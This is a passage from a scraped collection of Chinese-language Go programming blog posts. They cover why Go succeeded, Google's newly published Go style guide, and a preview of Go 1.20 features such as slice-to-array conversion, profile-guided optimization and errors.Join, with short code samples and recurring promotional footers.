Go语言之父们认为语言特性仅是编程语言的一部分，而编程环境特性与语言特性同等重要，这些环境特性包括：库、工具、惯例和针对软件工程的整体做法，它们都对使用Go语言编程提供了支持，不可或缺。而这些环境特性恰恰是在传统的编程语言设计中并没有受到应有的重视的。\n这样的决策让Go在开源之初就为开发者提供了使用Go进行编程所需的几乎一切：包括功能丰富、开箱即用的标准库以及全面的工具集，代码格式化、代码静态检查、依赖关系管理、构建(包括跨平台交叉编译)、测试、性能剖析、查看和生成文档等，并且这些工具集在今天都统一放在了go命令的下面。这个决策也帮助Go在开源后吸引了第一批Go社区用户。\nGo的一致性的表现 Go的一个目标是让它在不同的实现、执行环境中，甚至在不同的时间内表现出相同的行为。所以，Go语言尽可能地规定了一致的结果。比如：Go程序生命周期内一致的性能(相对于使用JIT慢启动的语言）、一致的GC的开销等。甚至对于最常见的编程错误提供了明确定义的语义，这有助于可理解性和调试，而不是像C/C++中那样，充斥着各种未定义的行为。\n而我认为最重要的一致性则是从2012年发布的Go 1.0开始，Go团队公开承诺只对语言和标准库进行向后兼容的修改，这样程序在编译到较新的Go版本时可以继续运行而不发生变化。这一承诺对业界产生了吸引力，它不仅鼓励了那些长声明周期的工程项目(比如Google内部的一些大型项目或者像Kubernetes这样的社区顶级项目)，也鼓励了其他努力，如书籍、培训课程和第三方软件包的繁荣生态系统。这一一致性的决策也为Go招募了相当数量的拥趸。 Go1兼容性，同样可以避免社区分裂（像python2/python3那样），即便是10多年来变更最大的泛型语法落地，也没有违反Go1兼容性，这实属不易。\nb) 设计哲学 上述的设计决策的背后蕴含着Go语言之父们的设计哲学。\n简单 Tony Hoare在1980年图灵奖演讲中说了这样的观点：“我的结论是，构建软件设计有两种方法：一种方法是让它变得如此简单，显然没有缺陷，另一种方法是让它变得如此复杂，以至于没有明显的缺陷。第一种方法要困难得多。它需要同样的技能，奉献，洞察力，甚至灵感，就像发现作为自然复杂现象基础的简单物理定律一样。它还要求愿意接受受物理，逻辑和技术限制的目标，并在无法实现冲突目标时接受妥协。”\nGo选择的正是Tony Hoare演进中的第一种构建软件的设计方法。Rob Pike说过的一句Go流行谚语“less is exponentially more”与此异曲同工。Go的语法简单，API简单，这些为Gopher提供了极大便利，但这些简单的背后其实是Go团队长时间的复杂的思考与实现，努力将语法和API简化为最小、最有用、最接近本质的努力工作。\n同时，简单意味着可读性、可维护性，意味着代码的清晰。另一句Go谚语“Clear is better than clever”告诫Gopher们编写平淡如水的Go代码才是“政治正确”的，不要炫技。\n并发 多核时代，Go将并发作为语言内置特性。Go内置并发原语，包括goroutine、channel、select等。\nGo鼓励在较高级别使用并发性，特别是通过通信的方式。我们耳熟能详的一句Go谚语是“Don’t communicate by sharing memory. Share memory by communicating”就是并发哲学的外在体现。\n组合 Go拥有类型，类型可以有method，这似乎像是一种面向对象style的实现，但Go并没有OO语言那种类型层次体系(type hierarchy)，在Go中，组合才是Go类型之间建立联系的最主要手段，而interface和类型嵌入恰是这种组合哲学的具体体现。\n面向工程 2012年, Go开源元年，Rob Pike就在SPLASH 2012大会上以“Google的Go：为软件工程服务的语言设计”为题，讲解了Go是如何围绕Google内部存在的软件工程问题进行有针对性的语言设计的。可以看出，Go从诞生伊始就将解决软件工程领域问题作为语言的目标。同时，我们看到面向工程这个哲学与上面的旨在成为一个编程环境的决策息息相关。\n除了统帅之外，Go社区的治理架构也是以Google“将领”为核心的，我们继续来看。\n2. Google出钱：以Google“将领”(googler and ex-googler)为核心的Go社区治理架构 Go开源10年了，Go社区形成了以Googler和ex-googler(前google员工)为核心的Go社区治理架构，这些人就是上图中的那些“将领”，他们是Go项目某个细分领域，比如：编译器、运行时goroutine调度、GC、内存管理、网络、安全等的领头人。根据Go项目一名产品经理的描述：2021年，Google Go项目的专职人员多达50多人，Google这个“亲爹”在金钱的投入上显然表现的十分大方，不得不承认：在编程语言领域里，有个有钱的“亲爹”就是好。\n这种以googler和Ex-googler为开源社区治理核心的架构决定了Go社区采用的是一种我称之为“民主集中制”的决策机制。在Go社区你不要幻想会有绝对的公平投票，Go项目决策向来是由少数Googler和ex-googler主导的。这样意味着很多情况下，核心治理团队的人提出的proposal以及Google内部gopher提出proposal很容易被accept，而来自外部社区的proposal要想被accept，可能难度就要大一些。怎么说呢？Google的方案不一定总是最好的，但我们也不能不承认多数情况下，Googler提的proposal还是更优的，并且通常这些proposal对应的实现都已经在google内部测试过了，甚至和Go决策组在公司内部“吹过风”，如果你是Go社区的决策人，你会怎么做呢？你是更相信Googler还是外部一个没有任何背景的gopher呢？\n我觉得在Google依然引领IT前沿的今天以及未来若干年，这种机制可能还是有利于Go的蓬勃发展的。\n3. Google为Go社区提供战场/试验场 就像上面所说的那样，Go是有着非常鲜明Google烙印的编程语言，除了Go语言之父都来自google，Go社区治理架构的核心都来自Google和前google员工外，Google内部为Go的设计提供了足够的一流的问题域，也为Go的真实应用提供了试验场和真实战场，即便Go至今没有成为Google内部的第一语言。面向Google的一手且一流问题域，让Go设计者和Go开发者能够获得一手的反馈，从而对Go做进一步的打磨。\n举几个例子：\nGoogle内部的单一代码仓库让Go最初设计了不带版本的go get(后在社区的强烈要求下引入了go module，go get才支持版本号)； googler反馈，google内部工具超好用，这一定程度让Go团队认识到向Gopher提供完善的go工具链的重要性； Google内部的多核与网络服务让Go设计者决定内置原生goroutine以应对多核时代的应用开发； Google内性能与开发效率并重让Go设计者决定设计一门带gc的静态编程语言，将内存管理、并发管理下沉到runtime，这与近两年出现的服务网格, dapr等概念的思路一致； Google内部大规模人员协作让Go决定面向软件工程，不仅要设计好语言特性，还要提供体验良好的编程环境(工具链、标准库等)； Google超大规模的系统构建慢让Go决定提供快速的构建能力，为此对包格式与包依赖做了精心的设计； Google内部长期维护的系统(生命周期长) 让Go团队决定支持Go1兼容性并提供支持重构的语法，比如type alias等； Google认为安全十分重要，促使Go提供了go sumdb和对sbom的良好支持； 同时Google内部系统为了支持Go的内部试验也是不遗余力，比如：每当Go发布大版本的RC版本，甚至是Beta版本时，Google App Engine都会首当其冲的充当“小白鼠”，在生产环境支持尚未发布正式版的Go。\n另外Google在业内的领先性也让“近水楼台”的Go受益，比如像容器调度编排这样的平台，Google十年前就有了(borg)，后续Googler以另起开源项目的方式将其中经验外溢输出，让Kubernetes最终选择了Go作为开发语言，从而成为Go的最大的也是最典型的成功战例。\n综上，我们看到Google对Go成功的决定性作用，这种作用可决不能被理解为简单的金钱上的支撑。\n三. Go语言演进历史 进入Go高级阶段后，对Go语言的演化历史要知道，当然能做到如数家珍更佳，即便不能，也要能记住Go语言的主要演化历史：\n2007年9月，Go语言诞生； 2009年11月，Go正式开源； 2012年3月，Go 1.0发布，同时Go1兼容性承诺官宣； 2014年12月，Go 1.4版本发布，这是最后一个编译器和runtime由C语言实现的版本； 2015年8月，Go 1.5版本发布，这个版本Go实现了自举(用go编译go)，同时编译器和runtime中的绝大部分c代码都换成了go，新版gc让延迟大幅降低； 2018年8月，Go 1.11版本发布，go module被正式引入； 2022年3月，Go 1.18版本发布，Go泛型语法正式落地。 四. 小结 C++之父说过：“世上只有两种编程语言：一种是总是被人抱怨的，一种是从来没人用的”。\nGo属于前者。世界上没有完美的编程语言，Go经过十年的打磨已经有了长足的进步，并且取得了不错的战绩，尤其是在云基础设施和云原生因公领域，就连Rob Pike也承认Go确实已成为云基础架构的语言。而这个Go走向成功的过程中，Google起着根本性的作用。\n不过中国古语有云：成也萧何，败也萧何！目前Google仍然引领IT技术前沿，这对Go的发展来说是一个利好，也会不断推动Go向着好的方向发展。\n但我大胆预测一下：“成也Google，败也Google”，一旦Google开始走下坡路的那天，Go语言成功的根基就不在了，Go还能像今天这样顺风顺水么？如果Go社区治理结构不重构，很可能不会再有今天这样的良好状态。大家觉得呢？\n五. 参考资料 -《Go编程语言与环境：万字长文复盘导致Go语言成功的那些设计决策》\n-《Go内存模型》- https://research.swtch.com/gomm\n-《Go语言真正的问题》 – https://vanitynotes.com/posts/20221101-the-real-problem-with-go\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文\n章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必\u0026gt;答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互\n动形式。欢迎大家加入！\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/12/07/why-go-succeed/","summary":"\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/12/07/why-go-succeed\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/12/07/why-go-succeed\"\u003ehttps://tonybai.com/2022/12/07/why-go-succeed\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/advanced-go/why-go-succeed-1.png\"\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e大家在入门Go语言时，多埋头于Go语法，忙于练手或快速完成公司的项目，无暇思考。\u003c/p\u003e\n\u003cp\u003e但当大家到了要进阶，要冲刺高级阶段的时候，我建议你不能再稀里糊涂了。既然入了Go这个坑，在进入高级阶段前，我们最好在门口的“影壁墙”前驻留一下。\u003c/p\u003e","title":"Go为什么能成功"},{"content":"\n本文永久链接 – https://tonybai.com/2022/11/26/intro-of-google-go-style\n每种编程语言除了固定的语法之外，都会有属于自己的地道的(idiomatic)写法。其实，自然语言也不例外，你想，你用心想想是不是这样。\n语言的设计者们希望开发人员都能编写统一风格的地道的代码，这样不仅代码可读性好，便于社区统一代码风格，而且针对惯用法的优化也可能会让地道的代码拥有更好的运行效率。语言团队也会不遗余力的通过各种方式(文档、blog、演讲、书籍、视频等)向开发者传授如何写出更地道、更高效、可读性更好的代码。\n以Go语言为例，为了能让Gopher更好的了解如何写出高效、地道的Go代码，Go开源伊始就编写了《Effective Go》和《Go FAQ》两篇文档。前者负责介绍Go惯用法，后者则担负着将Go语言设计层面的问题以及解决思路与Gopher进行对齐的重任：\n同时，Go语言之父们以及Go团队核心成员们在早期十分活跃并不遗余力的向Go社区推广Go的惯用法，Go官方站点上积累的各个早期的blog文章以及各个talk资料也成为了gopher学习地道Go编码的重要参考：\n这些资料为了全世界Gopher的Go编码风格建立了基线。大多数情况下只要遵循这些资料并借助gofmt工具的自动格式化就可以写出风格比较地道的Go代码了。\n然而《Effective Go》更像是说明地道风格Go代码的总体原则，不能“面面俱到”的覆盖每个编码的细节，而大公司对内部代码的风格一致性有着严格的要求。这不仅是高质量的要求，也是内部高效协作的要求。于是在若干年后，一些较早接纳Go且成为Go重度用户的大厂和初创公司结合自己的工程实践纷纷推出了公司内使用的Go编码风格规范，这里就包含我们耳熟能详的Uber、鹅厂、sourcegraph、CockroachDB、gitlab 等。这些Go代码风格指南也成为Go社区开发人员在代码风格规范性方面的重要参考。\n不过，这些公司推出的代码风格指南有一个共同特点，那就是规范性有余，但权威性和全面性不足。Go社区都期待这Go语言的发源地：Google公司的Go编码风格规范的推出。之前，Google已经在其style guide站点上推出了其内部使用的很多主流编程语言的style guide，包括：C++、Java、C#、JavaScript、Python、Shell等。\n在2022年11月份中旬，就在Go刚刚过完其第13个生日而步入青少年成长阶段之际，Google内部的Go语言编码风格规范终于出现在其style guide站点上了！\n不过，在介绍Google Go style guide前，我们首先要知道有关google style guide的几点内容：\n这些guide的主要目的是Google内部自用，所有开发人员、代码审查人员、代码可读性导师必须要遵守并达成一致； 所有语言的style guide都会随着语言的演进而持续更新优化； 各个语言的style guide的结构布局与写作风格都不相同； 这些style guide都不接受Google之外人员的pr。 如上图，Google内部的Go语言编码风格规范系列文档目前由四个部分组成，它们分别是概述、指南、决定和最佳实践。根据概述篇的内容我们可以大体知道每篇文档的功用。这一系列文档汇集了当前编写可读的且地道的(idiomatic)Go代码的最佳方法，其目的是使刚接触这门语言的开发者能够避免常见的错误，同时也为那些在Google内部审查Go代码的人提供统一的风格。\n这些文档的重要性略有不同：\n指南篇（https://google.github.io/styleguide/go/guide）概述了Google的Go编码风格的基础。这份文件是权威性的，并被用作风格决定和最佳实践两个文档中建议的基础。\n决定篇 (https://google.github.io/styleguide/go/decisions) 是一份内容更详细的文档，总结了关于特定风格点的决定，并在适当的地方讨论了决定背后的理由。这些决定可能偶尔会根据新的数据、新的语言特性、新的库或新出现的模式而改变。\n最佳实践篇（https://google.github.io/styleguide/go/best-practices）记录了一些随着时间的推移而发展起来的模式，这些模式可以解决常见的问题，且可读性好并足够健壮，可以满足对代码可维护性的要求。\n初步阅读了一下，这系列文档份的确算是目前最权威、最全面的Go语言编码风格规范了！其中决定篇和最佳实践篇涵盖的内容非常全面，内容和例子也非常到位。只不过，这套规范由于刚刚推出，还有很多改善优化和标记todo的地方。并且，其中有些内容是与Google是强相关的，但这依然是一份值得每个gopher认真阅读的资料。\n此外，整套文档中经常引用一个名为“Go tips”的文档，不过该文档尚未放出，但从行文中引用的go tips的章节标题来看，很值得期待！\n本博客正在将这套文档翻译为中文供大家参考，目前概述篇、指南篇和决定篇和最佳实践篇均已经初步翻译完毕(机翻辅助)。待go tips文档发布后，这里也会将其译为中文。\n“Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/11/26/intro-of-google-go-style/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/google-go-style/google-go-style-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/11/26/intro-of-google-go-style\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/11/26/intro-of-google-go-style\"\u003ehttps://tonybai.com/2022/11/26/intro-of-google-go-style\u003c/a\u003e\u003c/p\u003e\n\u003cp\u003e每种编程语言除了固定的语法之外，都会有属于自己的\u003cstrong\u003e地道的(idiomatic)写法\u003c/strong\u003e。其实，自然语言也不例外，你想，你用心想想是不是这样。\u003c/p\u003e","title":"这可能是最权威、最全面的Go语言编码风格规范了！"},{"content":"\n本文永久链接 – https://tonybai.com/2022/11/17/go-1-20-foresight\n在近期Russ Cox代表Go核心团队发表的“Go, 13周年”一文中，他提到了“在Go的第14个年头，Go团队将继续努力使Go成为用于大规模软件工程的最好的环境，将特别关注供应链安全，提高兼容性和结构化日志记录，当然还会有很多其他改进，包括profile-guided optimization等”。\n当前正在开发的版本是Go 1.20，预计2023年2月正式发布，这个版本也将是Go在其第14个年头发布的第一个版本。很多人没想到Go真的会进入到Go 1.2x版本，而不是Go 2.x。记得Russ Cox曾说过可能永远也不会有Go2了，毕竟Go泛型语法落地这么大的语法改动也没有让Go1兼容性承诺失效。\n目前Go 1.20版本正在如火如荼的开发中，很多gopher都好奇Go 1.20版本会带来哪些新特性？在这篇文章中，我就带大家一起去Go 1.20 milestone的issues列表中翻翻，提前看看究竟会有哪些新特性加入Go。\n1. 语法变化 Go在其1.18版本迎来了自开源以来最大规模的语法变化，然后呢？就没有然后了。Go在语法演进上再次陷入沉寂，没错，这就是Go长期以来坚持的风格。\n如果Go 1.20版本真有语法层面的变化，那估计就是这个issue了：“spec: allow conversion from slice to array”，即允许切片类型到数组类型的类型转换。\n在Go 1.20版本之前，我们以Go 1.19版本为例写下下面代码：\npackage main import \u0026quot;fmt\u0026quot; func main() { var sl = []int{1, 2, 3, 4, 5, 6, 7} var arr = [7]int(sl) // 编译器报错：cannot convert sl (variable of type []int) to type [7]int fmt.Println(sl) fmt.Println(arr) } 这段代码中，我们进行了一个[]int到[7]int的类型转换，但在Go 1.19版本编译器针对这个转换会报错！即不支持将切片类型显式转换数组类型。\n在Go 1.20版本之前如果要实现切片到数组的转换，是有trick的，看下面代码：\nfunc main() { var sl = []int{1, 2, 3, 4, 5, 6, 7} var parr = (*[7]int)(sl) var arr = *(*[7]int)(sl) fmt.Println(sl) // [1 2 3 4 5 6 7] fmt.Println(arr) // [1 2 3 4 5 6 7] sl[0] = 11 fmt.Println(sl) // [11 2 3 4 5 6 7] fmt.Println(arr) // [1 2 3 4 5 6 7] fmt.Println(*parr) // [11 2 3 4 5 6 7] } 该trick的理论基础是Go允许获取切片的底层数组地址。在上面的例子中parr就是指向切片sl底层数组的指针，通过sl或parr对底层数组元素的修改都能在对方身上体现出来。但是arr则是底层数组的一个副本，后续通过sl对切片的修改或通过parr对底层数组的修改都不会影响arr，反之亦然。\n不过这种trick语法还不是那么直观！于是上面那个“允许将切片直接转换为数组”的issue便提了出来。我们在go playground上选择“go dev branch”便可以使用最新go tip的代码，我们尝试一下最新语法：\nfunc main() { var sl = []int{1, 2, 3, 4, 5, 6, 7} var arr = [7]int(sl) var parr = (*[7]int)(sl) fmt.Println(sl) // [1 2 3 4 5 6 7] fmt.Println(arr) // [1 2 3 4 5 6 7] sl[0] = 11 fmt.Println(arr) // [1 2 3 4 5 6 7] fmt.Println(parr) // \u0026amp;[11 2 3 4 5 6 7] } 我们看到直接将sl转换为数组arr不再报错，但其语义与前面的“var arr = ([7]int)(sl)”语义是相同的，即返回一个切片底层数组的副本，arr不会受到后续切片元素变化的影响。\n不过这里也有个约束，那就是转换后的数组长度要小于等于切片长度，否则会panic：\nvar sl = []int{1, 2, 3, 4, 5, 6, 7} var arr = [8]int(sl) // panic: runtime error: cannot convert slice with length 7 to array or pointer to array with length 8 在写本文时，该issue尚未close，不过进入最终Go 1.20版本应该不是大问题。\n2. 编译器/链接器和其他工具链 1) profile-guided optimization Go编译器团队一直致力于对Go编译器/链接器的优化，这次在Go 1.20版本中，该团队很大可能会给我们带来“profile-guided optimization”。\n什么是“profile-guided optimization”呢？原先Go编译器实施的优化手段，比如内联，都是基于固定规则决策的，所有信息都来自编译的Go源码。而这次的“profile-guided optimization”顾名思义，需要源码之外的信息做“制导”来决定实施哪些优化，这个源码之外的信息就是profile信息，即来自pprof工具在程序运行时采集的数据，如下图(图来自profile-guided optimization设计文档)所示:\n因此pgo优化实际上是需要程序员参与的，程序员拿着程序到生产环境跑，程序生成的profile性能采集数据会被保存下来，然后这些profile采集数据会提供给Go编译器，以在下次构建同一个程序时辅助优化决策。由于这些profile是来自生产环境或模拟生产环境的数据，使得这种优化更有针对性。并且，Google数据中心其他语言(C/C++)实施PGO优化的效果显示，优化后的性能保守估计提升幅度在5%~15%。\n和其他新引入的特性一样，Go 1.20将包含该特性，但默认并不开启，我们可以手动开启进行体验，未来版本，pgo特性才会默认为auto开启。\n2) 大幅减小Go发行版包的Size 随着Go语言的演进，Go发行版的Size也在不断增加，从最初的几十M到如今的上百M。本地电脑里多安装几个Go版本，(解压后)几个G就没有了，此外Size大也让下载时间变得更长，尤其是一些网络环境不好的地区。\n为什么Go发行版Size越来越大呢？这很大程度是因为Go发行版中包含了GOROOT下所有软件包的预编译.a文件，以go 1.19的macos版本为例，在\\$GOROOT/pkg下，我们看到下面这些.a文件，用du查看一下占用的磁盘空间，达111M：\n$ls archive/ database/ fmt.a index/ mime/ plugin.a strconv.a time/ bufio.a debug/ go/ internal/ mime.a reflect/ strings.a time.a bytes.a embed.a hash/ io/ net/ reflect.a sync/ unicode/ compress/ encoding/ hash.a io.a net.a regexp/ sync.a unicode.a container/ encoding.a html/ log/ os/ regexp.a syscall.a vendor/ context.a errors.a html.a log.a os.a runtime/ testing/ crypto/ expvar.a image/ math/ path/ runtime.a testing.a crypto.a flag.a image.a math.a path.a sort.a text/ $du -sh 111M . 而整个pkg目录的size为341M，占Go 1.19版本总大小495M的近70%。\n于是在Go社区提议下，Go团队决定从Go 1.20开始发行版不再为GOROOT中的大多数软件包提供预编译的.a文件，新版本将只包括GOROOT中使用cgo的几个软件包的.a文件。\n因此Go 1.20版本中，GOROOT下的源码将像其他用户包那样在构建后被缓存到本机cache中。此外，go install也不会为GOROOT软件包安装.a文件，除非是那些使用cgo的软件包。这样Go发行版的size将最多减少三分之二。\n取而代之的是，这些包将在需要时被构建并缓存在构建缓存中，就像已经为GOROOT之外的非主包所做的那样。此外，go install也不会为GOROOT软件包安装.a文件，除非是那些使用cgo的软件包。这些改变是为了减少Go发行版的大小，在某些情况下可以减少三分之二。\n3) 扩展代码覆盖率(coverage)报告到应用本身 想必大家都用过go test的输出过代码覆盖率，go test会在unit test代码中注入代码以统计unit test覆盖的被测试包路径，下面是代码注入的举例：\nfunc ABC(x int) { if x \u0026lt; 0 { bar() } } 注入代码后：\nfunc ABC(x int) {GoCover_0_343662613637653164643337.Count[9] = 1; if x \u0026lt; 0 {GoCover_0_343662613637653164643337.Count[10] = 1; bar() } } 像GoCover_xxx这样的代码会被放置到每条分支路径下。\n不过go test -cover也有一个问题，那就是它只是适合针对包收集数据并提供报告，它无法针对应用整体给出代码覆盖度报告。\nGo 1.20版本中有关的“extend code coverage testing to include applications”的proposal就是来扩展代码覆盖率的，可以支持对应用整体的覆盖率统计和报告。\n该特性在Go 1.20版本中也将作为实验性特性，默认是off的。该方案通过go build -cover方式生成注入了覆盖率统计代码的应用程序，在应用执行过程中，报告会被生成到指定目录下，我们依然可以通过go tool cover来查看这个整体性报告。\n此外，新proposal在实现原理上与go test -cover差不多，都是source-to-source的方案，这样后续也可以统一维护。当然Go编译器也会有一些改动。\n4) 废弃-i flag 这个是一个早计划好的“废弃动作”。自从Go 1.10引入go build cache后，go build/install/test -i就不会再将编译好的包安装到\\$GOPATH/pkg下面了。\n3. Go标准库 1) 支持wrap multiple errors Go 1.20增加了一种将多个error包装(wrap)为一个error的机制，方便从打包后的错误的Error方法中一次性得到包含一系列关于该错误的相关错误的信息。\n这个机制增加了一个(匿名)接口和一个函数：\ninterface { Unwrap() []error } func Join(errs ...error) error 同时增强了像fmt.Errorf这样的函数的语义，当在Errorf中使用多个%w verb时，比如：\ne := errors.Errorf(\u0026quot;%w, %w, %w\u0026quot;, e1, e2, e3) Errorf将返回一个将e1, e2, e3打包完的且实现了上述带有Unwrap() []error方法的接口的错误类型实例。\nJoin函数的语义是将传入的所有err打包成一个错误类型实例，该实例同样实现了上述带有Unwrap() []error方法的接口，且该错误实例的类型的Error方法会返回换行符间隔的错误列表。\n我们看一下下面这个例子：\npackage main import ( \u0026quot;errors\u0026quot; \u0026quot;fmt\u0026quot; ) type MyError struct { s string } func (e *MyError) Error() string { return e.s } func main() { e1 := errors.New(\u0026quot;error1\u0026quot;) e2 := errors.New(\u0026quot;error2\u0026quot;) e3 := errors.New(\u0026quot;error3\u0026quot;) e4 := \u0026amp;MyError{ s: \u0026quot;error4\u0026quot;, } e := fmt.Errorf(\u0026quot;%w, %w, %w, %w\u0026quot;, e1, e2, e3, e4) fmt.Printf(\u0026quot;e = %s\\n\u0026quot;, e.Error()) // error1 error2, error3, error4 fmt.Println(errors.Is(e, e1)) // true var ne *MyError fmt.Println(errors.As(e, \u0026amp;ne)) // true fmt.Println(ne == e4) // true } 我们首先在Go 1.19编译运行上面程序：\ne = error1 %!w(*errors.errorString=\u0026amp;{error2}), %!w(*errors.errorString=\u0026amp;{error3}), %!w(*main.MyError=\u0026amp;{error4}) false false false 显然Go 1.19的fmt.Errorf函数尚不支持多%w verb。\n而Go 1.20编译上面程序的运行结果为：\ne = error1 error2, error3, error4 true true true 将fmt.Errorf一行换为：\ne := errors.Join(e1, e2, e3, e4) 再运行一次的结果为：\ne = error1 error2 error3 error4 true true true 即Join函数打包后的错误类型实例类型的Error方法会返回换行符间隔的错误列表。\n2) 新增arena实验包 Go是带GC语言，虽然Go GC近几年持续改进，绝大多数场合都不是大问题了。但是在一些性能敏感的领域，GC过程占用的可观算力还是让应用吃不消。\n降GC消耗，主要思路就是减少堆内存分配、减少反复的分配与释放。Go社区的某些项目为了减少内存GC压力，在mmaped内存上又建立一套GC无法感知到的简单内存管理机制并在适当场合应用。但这些自实现的、脱离GC的内存管理都有各自的问题。\nGo 1.18版本发布前，arena这个proposal就被提上了日程，arena包又是google内部的一个实验包，据说效果还不错的(在改进grpc的protobuf反序列化实验上)，可以节省15%的cpu和内存消耗。但proposal一出，便收到了来自各方的comment，该proposal在Go 1.18和Go 1.19一度处于hold状态，直到Go 1.20才纳入到试验特性，我们可以通过GOEXPERIMENT=arena开启该机制。\narena包主要思路其实是“整体分配，零碎使用，再整体释放”，以最大程度减少对GC的压力。关于arena包，等进一步完善后，后续可能会有专门文章分析。\n3) time包变化 time包增加了三个时间layout格式常量，相信不用解释，大家也知道如何使用：\nDateTime = \u0026quot;2006-01-02 15:04:05\u0026quot; DateOnly = \u0026quot;2006-01-02\u0026quot; TimeOnly = \u0026quot;15:04:05\u0026quot; time包还为Time增加了Compare方法，适用于time之间的\u0026gt;=和\u0026lt;=比较：\n// Compare returns -1 if t1 is before t2, 0 if t1 equals t2 or 1 if t1 is after t2. func (t1 Time) Compare(t2 Time) int 此外，time包的RFC3339时间格式是使用最广泛的时间格式，其解析性能在Go 1.20中得到优化，提升了70%左右，格式化性能提升30%。\n4. 其他 Go 1.17版本将作为Go 1.20的bootstrap编译器; Go编译器性能提升3%； Go工具链将根据GO[arch]环境变量的设置自动设置相关build tags； 标准库增加crypto/ecdh包，提供安全的、基于byte切片的ECDH API； bytes, strings包增加Clone函数； strings包增加CutPrefix和CutSuffix函数； text/template的解析性能提升40%。 5. 参考资料 Go 1.20 milestone – https://github.com/golang/go/milestone/250 Exploring Go’s Profile-Guided Optimizations – https://www.polarsignals.com/blog/posts/2022/09/exploring-go-profile-guided-optimizations/ What’s coming to go 1.20 – https://twitter.com/mvdan_/status/1588242469577117696 “Gopher部落”知识星球旨在打造一个精品Go学习和进阶社群！高品质首发Go技术文章，“三天”首发阅读权，每年两期Go语言发展现状分析，每天提前1小时阅读到新鲜的Gopher日报，网课、技术专栏、图书内容前瞻，六小时内必答保证等满足你关于Go语言生态的所有需求！2022年，Gopher部落全面改版，将持续分享Go语言与Go应用领域的知识、技巧与实践，并增加诸多互动形式。欢迎大家加入！\n我爱发短信：企业级短信平台定制开发专家 https://tonybai.com/。smspush : 可部署在企业内部的定制化短信平台，三网覆盖，不惧大并发接入，可定制扩展； 短信内容你来定，不再受约束, 接口丰富，支持长短信，签名可选。2020年4月8日，中国三大电信运营商联合发布《5G消息白皮书》，51短信平台也会全新升级到“51商用消息平台”，全面支持5G RCS消息。\n著名云主机服务厂商DigitalOcean发布最新的主机计划，入门级Droplet配置升级为：1 core CPU、1G内存、25G高速SSD，价格5$/月。有使用DigitalOcean需求的朋友，可以打开这个链接地址：https://m.do.co/c/bff6eed92687 开启你的DO主机之路。\nGopher Daily(Gopher每日新闻)归档仓库 – https://github.com/bigwhite/gopherdaily\n我的联系方式：\n微博(暂不可用)：https://weibo.com/bigwhite20xx 微博2：https://weibo.com/u/6484441286 博客：tonybai.com github: https://github.com/bigwhite 商务合作方式：撰稿、出书、培训、在线课程、合伙创业、咨询、广告合作。\n","permalink":"https://tonybai.com/2022/11/17/go-1-20-foresight/","summary":"\u003cp\u003e\u003cimg alt=\"Image 1\" loading=\"lazy\" src=\"/images/wp-content/uploads/go-1-20-foresight-1.png\"\u003e\u003c/p\u003e\n\u003cp\u003e\u003ca href=\"https://tonybai.com/2022/11/17/go-1-20-foresight\"\u003e本文永久链接\u003c/a\u003e – \u003ca href=\"https://tonybai.com/2022/11/17/go-1-20-foresight\"\u003ehttps://tonybai.com/2022/11/17/go-1-20-foresight\u003c/a\u003e\u003c/p\u003e\n\u003chr\u003e\n\u003cp\u003e在近期Russ Cox代表Go核心团队发表的\u003ca href=\"https://tonybai.com/2022/11/11/go-opensource-13-years\"\u003e“Go, 13周年”\u003c/a\u003e一文中，他提到了“在Go的第14个年头，Go团队将继续努力使Go成为用于大规模软件工程的最好的环境，将特别关注供应链安全，提高兼容性和结构化日志记录，当然还会有很多其他改进，包括profile-guided optimization等”。\u003c/p\u003e","title":"Go 1.20新特性前瞻"},{"content":"\n本文永久链接 – https://tonybai.com/2022/11/15/using-reflect-to-manipulate-channels\n今年教师节极客时间送给讲师4999 SVIP卡，一直没顾过来用，上周激活后在极客时间的众多精品课和专栏中徜徉，收获颇丰。尤其是在拜读鸟窝老师的《Go并发编程实战课》 